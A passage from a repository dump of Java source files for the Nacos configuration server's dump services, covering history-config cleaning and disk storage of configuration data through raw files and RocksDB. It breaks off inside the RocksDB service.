EmbeddedStorageContextHolder.putExtendInfo(PersistenceConstant.EXTEND_NEED_READ_UNTIL_HAVE_DATA,\n                            \"true\");\n                    // Remove your own listening to avoid task accumulation\n                    boolean canEnd = false;\n                    for (; ; ) {\n                        try {\n                            dumpOperate();\n                            protocol.protocolMetaData().unSubscribe(PersistenceConstant.CONFIG_MODEL_RAFT_GROUP,\n                                    MetadataKey.LEADER_META_DATA, this);\n                            canEnd = true;\n                        } catch (Throwable ex) {\n                            if (!shouldRetry(ex)) {\n                                errorReference.set(ex);\n                                canEnd = true;\n                            }\n                        }\n                        if (canEnd) {\n                            ThreadUtils.countDown(waitDumpFinish);\n                            break;\n                        }\n                        ThreadUtils.sleep(500L);\n                    }\n                    EmbeddedStorageContextHolder.cleanAllContext();\n                });\n            }\n        };\n        \n        protocol.protocolMetaData()\n                .subscribe(PersistenceConstant.CONFIG_MODEL_RAFT_GROUP, MetadataKey.LEADER_META_DATA, observer);\n        \n        // We must wait for the dump task to complete the callback operation before\n        // continuing with the initialization\n        ThreadUtils.latchAwait(waitDumpFinish);\n        \n        // If an exception occurs during the execution of the dump task, the exception\n        // needs to be thrown, triggering the node to start the failed process\n        final Throwable ex = errorReference.get();\n        if (Objects.nonNull(ex)) {\n            throw ex;\n        }\n    }\n    \n    private boolean shouldRetry(Throwable ex) {\n        final String errMsg = ex.getMessage();\n        \n        for (String failedMsg : errorMessages) {\n            if (StringUtils.containsIgnoreCase(errMsg, failedMsg)) {\n                return false;\n            }\n        }\n        for (final String retryMsg : retryMessages) {\n            if (StringUtils.containsIgnoreCase(errMsg, retryMsg)) {\n                return true;\n            }\n        }\n        return false;\n    }\n    \n    @Override\n    protected boolean canExecute() {\n        if (EnvUtil.getStandaloneMode()) {\n            return true;\n        }\n        // if is derby + raft mode, only leader can execute\n        CPProtocol protocol = protocolManager.getCpProtocol();\n        return protocol.isLeader(PersistenceConstant.CONFIG_MODEL_RAFT_GROUP);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/ExternalDumpService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.core.namespace.repository.NamespacePersistService;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnExternalStorage;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.context.annotation.DependsOn;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.PostConstruct;\n\n/**\n * External dump service.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\n@Conditional(ConditionOnExternalStorage.class)\n@Component\n@DependsOn({\"rpcConfigChangeNotifier\", \"configMigrateService\"})\npublic class ExternalDumpService extends DumpService {\n    \n    /**\n     * Here you inject the dependent objects constructively, ensuring that some of the dependent functionality is\n     * initialized ahead of time.\n     *\n     * @param memberManager {@link ServerMemberManager}\n     */\n    public ExternalDumpService(ConfigInfoPersistService configInfoPersistService,\n            NamespacePersistService namespacePersistService,\n            HistoryConfigInfoPersistService historyConfigInfoPersistService,\n            ConfigInfoGrayPersistService configInfoGrayPersistService,\n            ServerMemberManager memberManager,\n            ConfigMigrateService configMigrateService) {\n        super(configInfoPersistService, namespacePersistService, historyConfigInfoPersistService,\n                configInfoGrayPersistService, memberManager, configMigrateService);\n    }\n    \n    @PostConstruct\n    @Override\n    protected void init() throws Throwable {\n        dumpOperate();\n    }\n    \n    @Override\n    protected boolean canExecute() {\n        return memberManager.isFirstIp();\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/HistoryConfigCleaner.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\n/**\n * The interface History config cleaner.\n * @author Sunrisea\n */\npublic interface HistoryConfigCleaner {\n    \n    /**\n     * Clean history config.\n     */\n    public void cleanHistoryConfig();\n    \n    /**\n     * Gets name.\n     *\n     * @return the name\n     */\n    public String getName();\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/HistoryConfigCleanerConfig.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.api.utils.StringUtils;\nimport com.alibaba.nacos.core.config.AbstractDynamicConfig;\nimport com.alibaba.nacos.sys.env.EnvUtil;\n\n/**\n * The type History config cleaner config.\n * @author Sunrisea\n */\npublic class HistoryConfigCleanerConfig extends AbstractDynamicConfig {\n    \n    private static final String HISTORY_CONFIG_CLEANER = \"historyConfigCleaner\";\n    \n    private static final HistoryConfigCleanerConfig INSTANCE = new HistoryConfigCleanerConfig();\n    \n    private String activeHistoryConfigCleaner = \"nacos\";\n    \n    private HistoryConfigCleanerConfig() {\n        super(HISTORY_CONFIG_CLEANER);\n        resetConfig();\n    }\n    \n    /**\n     * Gets instance.\n     *\n     * @return the instance\n     */\n    public static HistoryConfigCleanerConfig getInstance() {\n        return INSTANCE;\n    }\n    \n    @Override\n    protected void getConfigFromEnv() {\n        activeHistoryConfigCleaner = EnvUtil.getProperty(\"nacos.config.history.clear.name\", String.class, \"nacos\");\n        if (StringUtils.isBlank(activeHistoryConfigCleaner)) {\n            activeHistoryConfigCleaner = \"nacos\";\n        }\n    }\n    \n    /**\n     * Gets active history config cleaner.\n     *\n     * @return the active history config cleaner\n     */\n    public String getActiveHistoryConfigCleaner() {\n        return activeHistoryConfigCleaner;\n    }\n    \n    /**\n     * Sets active history config cleaner.\n     *\n     * @param activeHistoryConfigCleaner the active history config cleaner\n     */\n    public void setActiveHistoryConfigCleaner(String activeHistoryConfigCleaner) {\n        this.activeHistoryConfigCleaner = activeHistoryConfigCleaner;\n    }\n    \n    @Override\n    protected String printConfig() {\n        return \"activeHistoryConfigCleaner{ \" + \"activeHistoryConfigCleaner=\" + activeHistoryConfigCleaner + \"}\";\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/HistoryConfigCleanerManager.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\n\nimport java.util.HashMap;\n\n/**\n * The type History config cleaner manager.\n *\n * @author Sunrisea\n */\npublic class HistoryConfigCleanerManager {\n    \n    private static HashMap<String, HistoryConfigCleaner> historyConfigCleanerMap = new HashMap<String, HistoryConfigCleaner>();\n    \n    static {\n        NacosServiceLoader.load(HistoryConfigCleaner.class).forEach(historyConfigCleaner -> {\n            historyConfigCleanerMap.put(historyConfigCleaner.getName(), historyConfigCleaner);\n        });\n        historyConfigCleanerMap.put(\"nacos\", new DefaultHistoryConfigCleaner());\n    }\n    \n    /**\n     * Gets history config cleaner.\n     *\n     * @param name the name\n     * @return the history config cleaner\n     */\n    public static HistoryConfigCleaner getHistoryConfigCleaner(String name) {\n        return historyConfigCleanerMap.getOrDefault(name, historyConfigCleanerMap.get(\"nacos\"));\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/disk/ConfigDiskService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.disk;\n\nimport java.io.IOException;\n\n/**\n * config disk service.\n *\n * @author zunfei.lzf\n */\npublic interface ConfigDiskService {\n    \n    /**\n     * Save configuration information to disk.\n     *\n     * @param dataId  dataId.\n     * @param group   group.\n     * @param tenant  tenant.\n     * @param content content.\n     * @throws IOException io exception.\n     */\n    void saveToDisk(String dataId, String group, String tenant, String content) throws IOException;\n\n    /**\n     * Save gray information to disk.\n     *\n     * @param dataId  dataId.\n     * @param group   group.\n     * @param tenant  tenant.\n     * @param grayName grayName.\n     * @param content content.\n     * @throws IOException io exception.\n     */\n    void saveGrayToDisk(String dataId, String group, String tenant, String grayName, String content) throws IOException;\n    \n    /**\n     * Deletes gray configuration files on disk.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     * @param grayName grayName.\n     */\n    void removeConfigInfo4Gray(String dataId, String group, String tenant, String grayName);\n    \n    /**\n     * Returns the content of the gray cache file in server.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     * @param grayName grayName.\n     * @return gray content, null if not exist.\n     * @throws IOException io exception.\n     */\n    String getGrayContent(String dataId, String group, String tenant, String grayName) throws IOException;\n    \n    /**\n     * Deletes configuration files on disk.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     */\n    void removeConfigInfo(String dataId, String group, String tenant);\n    \n    /**\n     * Returns the content of the  cache file in server.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     * @return content null if not exist.\n     * @throws IOException io exception.\n     */\n    String getContent(String dataId, String group, String tenant) throws IOException;\n    \n    /**\n     * Clear all config file.\n     */\n    void clearAll();\n    \n    /**\n     * Clear all gray config file.\n     */\n    void clearAllGray();\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/disk/ConfigDiskServiceFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.disk;\n\n/**\n * config disk serve factory.\n *\n * @author zunfei.lzf\n */\npublic class ConfigDiskServiceFactory {\n    \n    static ConfigDiskService configDiskService;\n    \n    private static final String TYPE_RAW_DISK = \"rawdisk\";\n    \n    private static final String TYPE_ROCKSDB = \"rocksdb\";\n    \n    /**\n     * get disk service.\n     *\n     * @return\n     */\n    public static ConfigDiskService getInstance() {\n        if (configDiskService == null) {\n            synchronized (ConfigDiskServiceFactory.class) {\n                if (configDiskService == null) {\n                    String type = System.getProperty(\"config_disk_type\", TYPE_RAW_DISK);\n                    if (type.equalsIgnoreCase(TYPE_ROCKSDB)) {\n                        configDiskService = new ConfigRocksDbDiskService();\n                    } else {\n                        configDiskService = new ConfigRawDiskService();\n                    }\n                }\n                return configDiskService;\n            }\n        }\n        return configDiskService;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/disk/ConfigRawDiskService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.disk;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.utils.StringUtils;\nimport com.alibaba.nacos.common.pathencoder.PathEncoderManager;\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.apache.commons.io.FileUtils;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.ENCODE_UTF8;\n\n/**\n * config raw disk service.\n *\n * @author zunfei.lzf\n */\npublic class ConfigRawDiskService implements ConfigDiskService {\n    \n    private static final String BASE_DIR = File.separator + \"data\" + File.separator + \"config-data\";\n    \n    private static final String TENANT_BASE_DIR = File.separator + \"data\" + File.separator + \"tenant-config-data\";\n    \n    private static final String GRAY_DIR = File.separator + \"data\" + File.separator + \"gray-data\";\n    \n    private static final String TENANT_GRAY_DIR = File.separator + \"data\" + File.separator + \"tenant-gray-data\";\n    \n    /**\n     * Save configuration information to disk.\n     */\n    public void saveToDisk(String dataId, String group, String tenant, String content) throws IOException {\n        File targetFile = targetFile(dataId, group, tenant);\n        FileUtils.writeStringToFile(targetFile, content, ENCODE_UTF8);\n    }\n    \n    /**\n     * Returns the path of the server cache file.\n     */\n    static File targetFile(String dataId, String group, String tenant) {\n        try {\n            ParamUtils.checkParam(dataId, group, tenant);\n        } catch (Exception e) {\n            throw new NacosRuntimeException(NacosException.CLIENT_INVALID_PARAM, \"parameter is invalid.\");\n        }\n        // fix https://github.com/alibaba/nacos/issues/10067\n        dataId = PathEncoderManager.getInstance().encode(dataId);\n        group = PathEncoderManager.getInstance().encode(group);\n        tenant = PathEncoderManager.getInstance().encode(tenant);\n        File file = null;\n        if (StringUtils.isBlank(tenant)) {\n            file = new File(EnvUtil.getNacosHome(), BASE_DIR);\n        } else {\n            file = new File(EnvUtil.getNacosHome(), TENANT_BASE_DIR);\n            file = new File(file, tenant);\n        }\n        file = new File(file, group);\n        file = new File(file, dataId);\n        return file;\n    }\n    \n    /**\n     * Returns the path of the gray cache file in server.\n     */\n    private static File targetGrayFile(String dataId, String group, String tenant, String grayName) {\n        try {\n            ParamUtils.checkParam(grayName);\n            ParamUtils.checkParam(dataId, group, tenant);\n        } catch (Exception e) {\n            throw new NacosRuntimeException(NacosException.CLIENT_INVALID_PARAM, \"parameter is invalid.\");\n        }\n        // fix https://github.com/alibaba/nacos/issues/10067\n        dataId = PathEncoderManager.getInstance().encode(dataId);\n        group = PathEncoderManager.getInstance().encode(group);\n        tenant = PathEncoderManager.getInstance().encode(tenant);\n        \n        File file = null;\n        if (StringUtils.isBlank(tenant)) {\n            file = new File(EnvUtil.getNacosHome(), GRAY_DIR);\n        } else {\n            file = new File(EnvUtil.getNacosHome(), TENANT_GRAY_DIR);\n            file = new File(file, tenant);\n        }\n        file = new File(file, group);\n        file = new File(file, dataId);\n        file = new File(file, grayName);\n        return file;\n    }\n    \n    /**\n     * Returns the path of the gray content cache file in server.\n     */\n    private static File targetGrayContentFile(String dataId, String group, String tenant, String grayName) {\n        return targetGrayFile(dataId, group, tenant, grayName);\n    }\n    \n    /**\n     * Save gray information to disk.\n     */\n    public void saveGrayToDisk(String dataId, String group, String tenant, String grayName, String content)\n            throws IOException {\n        File targetGrayContentFile = targetGrayContentFile(dataId, group, tenant, grayName);\n        FileUtils.writeStringToFile(targetGrayContentFile, content, ENCODE_UTF8);\n    }\n    \n    /**\n     * Deletes configuration files on disk.\n     */\n    public void removeConfigInfo(String dataId, String group, String tenant) {\n        FileUtils.deleteQuietly(targetFile(dataId, group, tenant));\n    }\n    \n    /**\n     * Deletes gray configuration files on disk.\n     */\n    public void removeConfigInfo4Gray(String dataId, String group, String tenant, String grayName) {\n        FileUtils.deleteQuietly(targetGrayContentFile(dataId, group, tenant, grayName));\n    }\n    \n    private static String file2String(File file) throws IOException {\n        if (!file.exists()) {\n            return null;\n        }\n        return FileUtils.readFileToString(file, ENCODE_UTF8);\n    }\n    \n    /**\n     * Returns the content of the gray cache file in server.\n     */\n    public String getGrayContent(String dataId, String group, String tenant, String grayName) throws IOException {\n        return file2String(targetGrayContentFile(dataId, group, tenant, grayName));\n    }\n    \n    public String getContent(String dataId, String group, String tenant) throws IOException {\n        File file = targetFile(dataId, group, tenant);\n        if (file.exists()) {\n            FileInputStream fis = null;\n            try {\n                fis = new FileInputStream(file);\n                return IoUtils.toString(fis, ENCODE_UTF8);\n            } catch (FileNotFoundException e) {\n                return null;\n            } finally {\n                IoUtils.closeQuietly(fis);\n            }\n        } else {\n            return null;\n        }\n    }\n    \n    /**\n     * Clear all config file.\n     */\n    public void clearAll() {\n        File file = new File(EnvUtil.getNacosHome(), BASE_DIR);\n        if (!file.exists() || FileUtils.deleteQuietly(file)) {\n            LogUtil.DEFAULT_LOG.info(\"clear all config-info success.\");\n        } else {\n            LogUtil.DEFAULT_LOG.warn(\"clear all config-info failed.\");\n        }\n        File fileTenant = new File(EnvUtil.getNacosHome(), TENANT_BASE_DIR);\n        if (!fileTenant.exists() || FileUtils.deleteQuietly(fileTenant)) {\n            LogUtil.DEFAULT_LOG.info(\"clear all config-info-tenant success.\");\n        } else {\n            LogUtil.DEFAULT_LOG.warn(\"clear all config-info-tenant failed.\");\n        }\n    }\n    \n    /**\n     * Clear all gray config file.\n     */\n    public void clearAllGray() {\n        File file = new File(EnvUtil.getNacosHome(), GRAY_DIR);\n        \n        if (!file.exists() || FileUtils.deleteQuietly(file)) {\n            LogUtil.DEFAULT_LOG.info(\"clear all config-info-gray success.\");\n        } else {\n            LogUtil.DEFAULT_LOG.warn(\"clear all config-info-gray failed.\");\n        }\n        File fileTenant = new File(EnvUtil.getNacosHome(), TENANT_GRAY_DIR);\n        if (!fileTenant.exists() || FileUtils.deleteQuietly(fileTenant)) {\n            LogUtil.DEFAULT_LOG.info(\"clear all config-info-gray-tenant success.\");\n        } else {\n            LogUtil.DEFAULT_LOG.warn(\"clear all config-info-gray-tenant failed.\");\n        }\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/disk/ConfigRocksDbDiskService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump.disk;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.rocksdb.BlockBasedTableConfig;\nimport org.rocksdb.ColumnFamilyOptions;\nimport org.rocksdb.DBOptions;\nimport org.rocksdb.Options;\nimport org.rocksdb.RocksDB;\nimport org.rocksdb.RocksDBException;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.ENCODE_UTF8;\nimport static com.alibaba.nacos.config.server.constant.Constants.NULL;\n\n/**\n * config rocks db disk service.\n *\n * @author shiyiyue\n */\n\npublic class ConfigRocksDbDiskService implements ConfigDiskService {\n    \n    private static final String ROCKSDB_DATA = File.separator + \"rocksdata\" + File.separator;\n    \n    private static final String BASE_DIR = ROCKSDB_DATA + \"config-data\";\n    \n    private static final String GRAY_DIR = ROCKSDB_DATA + \"gray-data\";\n    \n    private static final long DEFAULT_WRITE_BUFFER_MB = 32;\n    \n    Map<String, RocksDB> rocksDbMap = new HashMap<>();\n    \n    private void createDirIfNotExist(String dir) {\n        File roskDataDir = new File(EnvUtil.getNacosHome(), \"rocksdata\");\n        if (!roskDataDir.exists()) {\n            roskDataDir.mkdirs();\n        }\n        File baseDir = new File(EnvUtil.getNacosHome(), dir);\n        if (!baseDir.exists()) {\n            baseDir.mkdirs();\n        }\n    }\n    \n    private void deleteDirIfExist(String dir) {\n        File rockskDataDir = new File(EnvUtil.getNacosHome(), \"rocksdata\");\n        if (!rockskDataDir.exists()) {\n            return;\n        }\n        File baseDir = new File(EnvUtil.getNacosHome(), dir);\n        if (baseDir.exists()) {\n            baseDir.delete();\n        }\n    }\n    \n    public ConfigRocksDbDiskService() {\n        createDirIfNotExist(BASE_DIR);\n        createDirIfNotExist(GRAY_DIR);\n        \n    }\n    \n    private byte[] getKeyByte(String dataId, String group, String tenant, String tag) throws IOException {\n        String[] keys = new String[] {dataId, group, tenant, tag};\n        return getKeyByte(keys);\n    }\n    \n    private byte[] getKeyByte(String... keys) throws IOException {\n        if (keys == null || keys.length == 0) {\n            return NULL.getBytes(ENCODE_UTF8);\n        }\n        StringBuilder stringBuilder = new StringBuilder();\n        for (String key : keys) {\n            if (StringUtils.isBlank(key)) {\n                key = \"\";\n            }\n            urlEncode(key, stringBuilder);\n            stringBuilder.append(\"+\");\n        }\n        return stringBuilder.toString().getBytes(ENCODE_UTF8);\n    }\n    \n    /**\n     * + -> %2B % -> %25.\n     */\n    private static void urlEncode(String str, StringBuilder sb) {\n        for (int idx = 0; idx < str.length(); ++idx) {\n            char c = str.charAt(idx);\n            if ('+' == c) {\n                sb.append(\"%2B\");\n            } else if ('%' == c) {\n                sb.append(\"%25\");\n            } else {\n                sb.append(c);\n            }\n        }\n    }\n    \n    /**\n     * save config to disk.\n     */\n    public void saveToDiskInner(String type, String dataId, String group, String tenant, String tag, String content)\n            throws IOException {\n        try {\n            initAndGetDB(type).put(getKeyByte(dataId, group, tenant, tag), content.getBytes(ENCODE_UTF8));\n        } catch (RocksDBException e) {\n            throw new IOException(e);\n        }\n    }\n    \n    /**\n     * save config to disk.\n     */\n    public void saveToDiskInner(String type, String dataId, String group, String tenant, String content)\n            throws IOException {\n        saveToDiskInner(type, dataId, group, tenant, null, content);\n    }\n    \n    /**\n     * save config to disk.\n     */\n    public void saveGrayToDiskInner(String type, String dataId, String group, String tenant, String grayName,\n            String content) throws IOException {\n        try {\n            initAndGetDB(type).put(getKeyByte(dataId, group, tenant, grayName), content.getBytes(ENCODE_UTF8));\n        } catch (RocksDBException e) {\n            throw new IOException(e);\n        }\n    }\n    \n    /**\n     * Save configuration information to disk.\n     */\n    public void saveToDisk(String dataId, String group, String tenant, String content) throws IOException {\n        saveToDiskInner(BASE_DIR, dataId, group, tenant, content);\n    }\n    \n    /**\n     * Save tag information to disk.\n     */\n    public void saveGrayToDisk(String dataId, String group, String tenant, String grayName, String content)\n            throws IOException {\n        saveGrayToDiskInner(GRAY_DIR, dataId, group, tenant, grayName, content);\n        \n    }\n    \n    /**\n     * Deletes configuration files on disk.\n     */\n    public void removeConfigInfo(String dataId, String group, String tenant) {\n        removeContentInner(BASE_DIR, dataId, group, tenant, null);\n    }\n    \n    /**\n     * Deletes gray configuration files on disk.\n     */\n    public void removeConfigInfo4Gray(String dataId, String group, String tenant, String grayName) {\n        removeGrayInner(GRAY_DIR, dataId, group, tenant, grayName);\n        \n    }\n    \n    private String byte2String(byte[] bytes) throws IOException {\n        if (bytes == null) {\n            return null;\n        }\n        return new String(bytes, ENCODE_UTF8);\n    }\n    \n    RocksDB initAndGetDB(String dir) throws IOException, RocksDBException {\n        if (rocksDbMap.containsKey(dir)) {\n            return rocksDbMap.get(dir);\n        } else {\n            synchronized (this) {\n                if (rocksDbMap.containsKey(dir)) {\n                    return rocksDbMap.get(dir);\n                }\n                createDirIfEmpty(EnvUtil.getNacosHome() + dir);\n                rocksDbMap.put(dir, RocksDB.open(createOptions(dir), EnvUtil.getNacosHome() + dir));\n                return rocksDbMap.get(dir);\n            }\n            \n        }\n    }\n    \n    private void createDirIfEmpty(String filePath) {\n        File file = new File(filePath);\n        if (!file.exists()) {\n            file.mkdirs();\n        }\n    }\n    \n    private String getContentInner(String type, String dataId, String group, String tenant) throws IOException {\n        byte[] bytes = null;\n        try {\n            bytes = initAndGetDB(type).get(getKeyByte(dataId, group, tenant, null));\n            String string = byte2String(bytes);\n            return string;\n        } catch (RocksDBException e) {\n            throw new IOException(e);\n        }\n    }\n    \n    private String getGrayInner(String type, String dataId, String group, String tenant, String grayName)\n            throws IOException {\n        byte[] bytes = null;\n        try {\n            bytes = initAndGetDB(type).get(getKeyByte(dataId, group, tenant, grayName));\n            return byte2String(bytes);\n        } catch (RocksDBException e) {\n            throw new IOException(e);\n        }\n    }\n    \n    private void removeContentInner(String type, String dataId, String group, String tenant, String tag) {\n        try {\n            initAndGetDB(type).delete(getKeyByte(dataId, group, tenant, tag));\n        } catch (Exception e) {\n            LogUtil.DEFAULT_LOG.warn(\"Remove dir=[{}] config fail,dataId={},group={},tenant={},error={}\", type, dataId,\n                    group, tenant, e.getCause());\n        }\n    }\n    \n    private void removeGrayInner(String type, String dataId, String group, String tenant, String grayName) {\n        try {\n            initAndGetDB(type).delete(getKeyByte(dataId, group, tenant, grayName));\n        } catch (Exception e) {\n            LogUtil.DEFAULT_LOG.warn(\"Remove dir=[{}] config fail,dataId={},group={},tenant={},error={}\", type, dataId,\n                    group, tenant, e.getCause());\n        }\n    }\n    \n    /**\n     * Returns the path of the gray content cache file in server.\n     */\n    public String getGrayContent(String dataId, String group, String tenant, String grayName) throws IOException {\n        return getGrayInner(GRAY_DIR, dataId, group, tenant, grayName);\n    }\n    \n    public String getContent(String dataId, String group, String tenant) throws IOException {\n        return getContentInner(BASE_DIR, dataId, group, tenant);\n    }\n    \n    public String getLocalConfigMd5(String dataId, String group, String tenant, String encode) throws IOException {\n        return MD5Utils.md5Hex(getContentInner(BASE_DIR, dataId, group, tenant), encode);\n    }\n    \n    Options createOptions(String dir) {\n        DBOptions dbOptions = new DBOptions();\n        dbOptions.setMaxBackgroundJobs(Runtime.getRuntime().availableProcessors());\n        Options options = new Options(dbOptions, createColumnFamilyOptions(dir));\n        options.setCreateIfMissing(true);\n        return options;\n    }\n    \n    ColumnFamilyOptions createColumnFamilyOptions(String dir) {\n        ColumnFamilyOptions columnFamilyOptions = new ColumnFamilyOptions();\n        BlockBasedTableConfig tableFormatConfig = new BlockBasedTableConfig();\n        columnFamilyOptions.setTableFormatConfig(tableFormatConfig);\n        //set more write buffer size to formal config-data, reduce flush to sst file frequency.\n        columnFamilyOptions.setWriteBufferSize(getSuitFormalCacheSizeMB(dir) * 1024 * 1024);\n        //once a stt file is flushed, compact it immediately to avoid too many sst file which will result in read latency.\n        columnFamilyOptions.setLevel0FileNumCompactionTrigger(1);\n        return columnFamilyOptions;\n    }\n    \n    /**\n     * get suit formal buffer size.\n     *\n     * @return\n     */\n    private long getSuitFormalCacheSizeMB(String dir) {\n        \n        boolean formal = BASE_DIR.equals(dir);\n        long maxHeapSizeMB = Runtime.getRuntime().maxMemory() / 1024 / 1024;\n        \n        if (formal) {\n            long formalWriteBufferSizeMB = 0;\n            \n            if (maxHeapSizeMB < 8 * 1024) {\n                formalWriteBufferSizeMB = 32;\n            } else if (maxHeapSizeMB < 16 * 1024) {\n                formalWriteBufferSizeMB = 64;\n            } else {\n                formalWriteBufferSizeMB = 256;\n            }\n            LogUtil.DEFAULT_LOG.info(\"init formal rocksdb write buffer size {}M for dir {}, maxHeapSize={}M\",\n                    formalWriteBufferSizeMB, dir, maxHeapSizeMB);\n            return formalWriteBufferSizeMB;\n        } else {\n            LogUtil.DEFAULT_LOG.info(\"init default rocksdb write buffer size {}M for dir {}, maxHeapSize={}M\",\n                    